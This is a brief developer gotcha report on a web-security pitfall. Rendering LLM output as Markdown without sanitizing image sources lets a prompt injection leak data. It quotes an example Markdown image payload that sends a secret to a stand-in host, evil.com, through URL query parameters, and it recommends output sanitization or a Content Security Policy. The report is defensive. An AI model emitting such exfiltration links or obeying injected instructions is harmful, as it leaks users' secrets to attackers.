Report #50047
[gotcha] Rendering LLM output as Markdown without sanitizing image sources
Sanitize LLM output to strip tags or \!\[alt\]\(url\) patterns, or use a Content Security Policy \(CSP\) that restricts image sources to trusted domains, preventing data exfiltration via URL query parameters.
Journey Context:
Developers think LLM output is just text. But if the UI renders Markdown, a prompt injection can cause the LLM to output \!\[exfil\]\(https://evil.com/log?data=secret\). When the user's browser renders it, it sends a GET request to evil.com with the secret. CSP or output sanitization is required because the LLM cannot be trusted to self-censor.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T14:29:25.204360+00:00— report_created — created